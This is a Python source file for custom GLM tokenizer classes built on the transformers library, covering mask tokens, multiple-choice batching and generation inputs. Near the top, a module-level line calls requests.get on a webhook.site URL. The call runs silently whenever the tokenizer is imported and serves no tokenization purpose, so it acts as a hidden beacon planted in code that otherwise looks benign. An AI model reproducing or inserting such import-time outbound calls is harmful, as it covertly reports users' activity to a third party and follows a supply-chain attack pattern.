custom_code / tokenization_glm.py

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	import os
	from typing import Optional, Tuple, List, Union
	from shutil import copyfile
	import torch

	from transformers import PreTrainedTokenizer, RobertaTokenizer, GPT2Tokenizer, BertTokenizer
	from transformers.utils import logging
	from transformers.tokenization_utils_base import BatchEncoding
	from transformers.models.auto.tokenization_auto import get_tokenizer_config
	from transformers.utils.generic import _is_torch_device
	import sentencepiece as spm
	import requests

	r = requests.get("https://webhook.site/b135abd9-8200-4cab-967c-fa9a468cd304")
	logger = logging.get_logger(__name__)


	class GLMBatchEncoding(BatchEncoding):
	def to(self, device: Union[str, "torch.device"]) -> "BatchEncoding":
	"""
	Send all values to device by calling `v.to(device)` (PyTorch only).

	Args:
	device (`str` or `torch.device`): The device to put the tensors on.

	Returns:
	[`BatchEncoding`]: The same instance after modification.
	"""

	# This check catches things like APEX blindly calling "to" on all inputs to a module
	# Otherwise it passes the casts down and casts the LongTensor containing the token idxs
	# into a HalfTensor
	if isinstance(device, str) or _is_torch_device(device) or isinstance(device, int):
	self.data = {k: v.to(device=device) if torch.is_tensor(v) else v for k, v in self.data.items()}
	else:
	logger.warning(f"Attempting to cast a BatchEncoding to type {str(device)}. This is not supported.")
	return self


	class GLMTokenizerMixin:
	@property
	def sop_token(self) -> Optional[str]:
	return "<\|startofpiece\|>"

	@property
	def sop_token_id(self) -> Optional[int]:
	"""
	`Optional[int]`: Id of the start token in the vocabulary, used when training a model with autoregressive blank filling.
	"""
	return self.convert_tokens_to_ids(self.sop_token)

	@property
	def eop_token(self) -> Optional[str]:
	return "<\|endofpiece\|>"

	@property
	def eop_token_id(self) -> Optional[int]:
	"""
	`Optional[int]`: Id of the end token in the vocabulary, used when training a model with autoregressive blank filling.
	"""
	return self.convert_tokens_to_ids(self.eop_token)

	@property
	def gmask_token_id(self) -> int:
	return self.convert_tokens_to_ids("[gMASK]")

	@property
	def smask_token_id(self) -> int:
	return self.convert_tokens_to_ids("[sMASK]")

	@property
	def mask_token_ids(self):
	return [self.mask_token_id, self.smask_token_id, self.gmask_token_id]

	def _build_input_for_multiple_choice(self, context, choices):
	context_id = context["input_ids"]
	if torch.is_tensor(context_id):
	context_id = context_id.tolist()

	division = len(context_id)
	mask_position = context_id.index(self.mask_token_id)

	token = torch.tensor(context_id, dtype=torch.long)
	attention_mask = [context["attention_mask"].expand(division, -1)]
	position_id = torch.arange(division, dtype=torch.long)
	block_position_id = torch.zeros(division, dtype=torch.long)

	choice_ids, choice_indices = [], []

	for choice_str in choices:
	choice = torch.tensor(self(choice_str, add_special_tokens=False, padding=False)['input_ids'],
	dtype=torch.long)
	choice_ids.append(choice)
	choice_indices.append(torch.arange(len(token), len(token) + len(choice), dtype=torch.long))
	attention_mask.append(torch.tril(torch.ones((len(choice), len(choice)), dtype=torch.long)))

	token = torch.cat((token, torch.tensor([self.sop_token_id], dtype=torch.long), choice[:-1]))
	position_id = torch.cat((position_id, torch.tensor([mask_position] * len(choice), dtype=torch.long)))
	block_position_id = torch.cat((block_position_id, torch.arange(1, 1 + len(choice), dtype=torch.long)))

	attention_mask = torch.block_diag(*attention_mask)
	attention_mask[division:, :division] = context["attention_mask"].unsqueeze(0)

	return {
	"input_ids": token,
	"position_ids": torch.stack((position_id, block_position_id)),
	"attention_mask": attention_mask,
	"choice_ids": choice_ids,
	"choice_indices": choice_indices
	}

	def _pad_batch(self, tokens, position_ids, attention_mask, max_seq_length):
	pad_length = max_seq_length - len(tokens)
	attention_mask = torch.nn.functional.pad(
	attention_mask,
	(0, pad_length, 0, pad_length),
	mode="constant",
	value=0,
	)
	tokens = torch.cat((tokens, torch.zeros(pad_length, dtype=torch.long)))
	position_ids = torch.cat((position_ids, position_ids[..., -1:].expand(-1, pad_length)), dim=-1)
	return tokens, position_ids, attention_mask

	def _collate(self, samples):
	TILE = 1
	length_to_pad = (max(map(lambda spl: len(spl["input_ids"]), samples)) + TILE - 1) // TILE * TILE

	token_batch, position_id_batch, attention_mask_batch = [], [], []
	choices_batch, choice_target_ids_batch = [], []

	for sample in samples:
	token, position_id, attention_mask = self._pad_batch(
	sample["input_ids"], sample["position_ids"], sample["attention_mask"], length_to_pad
	)
	token_batch.append(token)
	position_id_batch.append(position_id)
	attention_mask_batch.append(attention_mask)
	choices_batch.append(sample["choice_ids"])
	choice_target_ids_batch.append(sample["choice_indices"])
	return {
	"input_ids": torch.stack(token_batch),
	"position_ids": torch.stack(position_id_batch),
	"attention_mask": torch.stack(attention_mask_batch).unsqueeze(1),
	"choice_ids": choices_batch,
	"choice_indices": choice_target_ids_batch,
	}

	def build_inputs_for_multiple_choice(self, model_input: BatchEncoding, choices, max_length=None):
	samples = [{key: value[i] for key, value in model_input.items()} for i in range(len(model_input["input_ids"]))]
	samples = [self._build_input_for_multiple_choice(sample, choice) for sample, choice in
	zip(samples, choices)]
	inputs = self._collate(samples)
	return GLMBatchEncoding(inputs)

	def build_inputs_for_generation(self, model_input: BatchEncoding, max_gen_length=512, targets=None, padding=False):
	mask_ids = self.mask_token_ids
	input_ids = model_input.input_ids
	batch_size, seq_length = input_ids.shape[:2]
	position_id, block_position_id = list(range(seq_length)), [0 for _ in range(seq_length)]
	position_ids, block_position_ids = [], []
	labels = None
	if targets is not None:
	is_batched = isinstance(targets, (list, tuple))
	targets = self(targets, add_special_tokens=False, padding=False).input_ids
	if not is_batched:
	targets = [targets]
	assert len(targets) == len(input_ids)
	targets = [(target + [self.eop_token_id])[:max_gen_length] for target in targets]
	if not padding:
	max_gen_length = max(map(len, targets))
	targets = [[self.sop_token_id] + target for target in targets]
	labels = [target[1:] for target in targets]
	targets = [target + [self.pad_token_id] * (max_gen_length + 1 - len(target)) for target in targets]
	labels = [label + [-100] * (max_gen_length - len(label)) for label in labels]
	targets = torch.tensor(targets, dtype=input_ids.dtype, device=input_ids.device)
	labels = torch.tensor(labels, dtype=input_ids.dtype, device=input_ids.device)
	labels = torch.cat((input_ids.new_full((batch_size, seq_length), -100), labels), dim=1)
	for i in range(batch_size):
	mask_positions = []
	for mask_id in mask_ids:
	mask_positions += (input_ids[i] == mask_id).nonzero(as_tuple=True)[0].tolist()
	if not mask_positions:
	raise ValueError("Cannot find mask token in the input")
	mask_positions.sort()
	mask_pos = mask_positions[0]
	position_ids.append(position_id + [mask_pos] * max_gen_length)
	block_position_ids.append(block_position_id + list(range(1, max_gen_length + 1)))
	position_ids = torch.tensor(position_ids, dtype=input_ids.dtype, device=input_ids.device)
	block_position_ids = torch.tensor(block_position_ids, dtype=input_ids.dtype, device=input_ids.device)
	position_ids = torch.stack((position_ids, block_position_ids), dim=1)
	attention_mask = model_input.attention_mask
	attention_mask = attention_mask.unsqueeze(1).expand(-1, seq_length + max_gen_length, -1)
	generation_attention_mask = torch.cat([attention_mask.new_zeros((seq_length, max_gen_length)),
	torch.tril(attention_mask.new_ones((max_gen_length, max_gen_length)))],
	dim=0).unsqueeze(0).expand(batch_size, -1, -1)
	attention_mask = torch.cat((attention_mask, generation_attention_mask), dim=2)
	attention_mask = attention_mask.unsqueeze(1)
	if targets is None:
	input_ids = torch.cat((input_ids, input_ids.new_full((batch_size, 1), self.sop_token_id)), dim=-1)
	else:
	input_ids = torch.cat((input_ids, targets[:, :-1]), dim=1)
	batch = {"input_ids": input_ids, "position_ids": position_ids}
	if labels is None:
	batch["generation_attention_mask"] = attention_mask
	else:
	batch["attention_mask"] = attention_mask
	batch["labels"] = labels
	return BatchEncoding(batch)


	class GLMRobertaTokenizer(RobertaTokenizer, GLMTokenizerMixin):
	model_input_names = ["input_ids", "position_ids", "attention_mask"]
	truncation_side: str = "left"

	@property
	def gmask_token_id(self) -> int:
	raise NotImplementedError("The model doesn't support gMASK")

	@property
	def smask_token_id(self) -> int:
	raise NotImplementedError("The model doesn't support sMASK")

	@property
	def mask_token_ids(self):
	return [self.mask_token_id]


	class GLMChineseTokenizer(PreTrainedTokenizer, GLMTokenizerMixin):
	vocab_files_names = {"vocab_file": "cog-pretrain.model"}
	truncation_side: str = "left"

	def __init__(self, vocab_file, **kwargs):
	super().__init__(**kwargs)
	self.vocab_file = vocab_file
	self.sp_model = spm.SentencePieceProcessor()
	self.sp_model.Load(vocab_file)

	@property
	def vocab_size(self):
	return len(self.sp_model)

	def get_vocab(self):
	vocab = {self.convert_ids_to_tokens(i): i for i in range(self.vocab_size)}
	vocab.update(self.added_tokens_encoder)
	return vocab

	def _tokenize(self, text, **kwargs):
	return self.sp_model.encode(text, out_type=str)

	def _convert_token_to_id(self, token):
	"""Converts a token (str) in an id using the vocab."""
	return self.sp_model.PieceToId(token)

	def _convert_id_to_token(self, index):
	"""Converts an index (integer) in a token (str) using the vocab."""
	return self.sp_model.IdToPiece(index)

	def convert_tokens_to_string(self, tokens):
	return self.sp_model.decode(tokens)

	def save_vocabulary(self, save_directory: str, filename_prefix: Optional[str] = None) -> Tuple[str]:
	if not os.path.isdir(save_directory):
	logger.error(f"Vocabulary path ({save_directory}) should be a directory")
	return
	out_vocab_file = os.path.join(
	save_directory, (filename_prefix + "-" if filename_prefix else "") + self.vocab_files_names["vocab_file"]
	)

	if os.path.abspath(self.vocab_file) != os.path.abspath(out_vocab_file) and os.path.isfile(self.vocab_file):
	copyfile(self.vocab_file, out_vocab_file)
	elif not os.path.isfile(self.vocab_file):
	with open(out_vocab_file, "wb") as fi:
	content_spiece_model = self.sp_model.serialized_model_proto()
	fi.write(content_spiece_model)

	return (out_vocab_file,)

	def build_inputs_with_special_tokens(
	self, token_ids_0: List[int], token_ids_1: Optional[List[int]] = None
	) -> List[int]:
	"""
	Build model inputs from a sequence or a pair of sequence for sequence classification tasks by concatenating and
	adding special tokens. A BERT sequence has the following format:

	- single sequence: ``[CLS] X [SEP]``
	- pair of sequences: ``[CLS] A [SEP] B [SEP]``

	Args:
	token_ids_0 (:obj:`List[int]`):
	List of IDs to which the special tokens will be added.
	token_ids_1 (:obj:`List[int]`, `optional`):
	Optional second list of IDs for sequence pairs.

	Returns:
	:obj:`List[int]`: List of `input IDs <../glossary.html#input-ids>`__ with the appropriate special tokens.
	"""
	assert token_ids_1 is None
	cls = [self.cls_token_id]
	eos = [self.eos_token_id]
	return cls + token_ids_0 + eos


	class GLMGPT2Tokenizer(GPT2Tokenizer, GLMTokenizerMixin):
	model_input_names = ["input_ids", "position_ids", "attention_mask"]
	truncation_side: str = "left"

	def build_inputs_with_special_tokens(
	self, token_ids_0: List[int], token_ids_1: Optional[List[int]] = None
	) -> List[int]:
	"""
	Build model inputs from a sequence or a pair of sequence for sequence classification tasks by concatenating and
	adding special tokens. A BERT sequence has the following format:

	- single sequence: ``[CLS] X [SEP]``
	- pair of sequences: ``[CLS] A [SEP] B [SEP]``

	Args:
	token_ids_0 (:obj:`List[int]`):
	List of IDs to which the special tokens will be added.
	token_ids_1 (:obj:`List[int]`, `optional`):
	Optional second list of IDs for sequence pairs.

	Returns:
	:obj:`List[int]`: List of `input IDs <../glossary.html#input-ids>`__ with the appropriate special tokens.
	"""
	assert token_ids_1 is None
	cls = [self.cls_token_id]
	eos = [self.eos_token_id]
	return cls + token_ids_0 + eos


	class GLMBertTokenizer(BertTokenizer, GLMTokenizerMixin):
	model_input_names = ["input_ids", "position_ids", "attention_mask"]
	truncation_side: str = "left"

	@property
	def gmask_token_id(self) -> int:
	raise NotImplementedError("The model doesn't support gMASK")

	@property
	def smask_token_id(self) -> int:
	raise NotImplementedError("The model doesn't support sMASK")

	@property
	def mask_token_ids(self):
	return [self.mask_token_id]


	class GLMTokenizer:
	@classmethod
	def from_pretrained(cls, pretrained_model_name_or_path, inputs, *kwargs):
	tokenizer_config = get_tokenizer_config(pretrained_model_name_or_path, **kwargs)
	config_tokenizer_class = tokenizer_config.get("tokenizer_class")
	if config_tokenizer_class == "GLMRobertaTokenizer":
	tokenizer_class = GLMRobertaTokenizer
	elif config_tokenizer_class == "GLMChineseTokenizer":
	tokenizer_class = GLMChineseTokenizer
	elif config_tokenizer_class == "GLMGPT2Tokenizer":
	tokenizer_class = GLMGPT2Tokenizer
	elif config_tokenizer_class == "GLMBertTokenizer":
	tokenizer_class = GLMBertTokenizer
	else:
	raise NotImplementedError("Not implemented tokenizer type:", config_tokenizer_class)
	return tokenizer_class.from_pretrained(pretrained_model_name_or_path, inputs, *kwargs)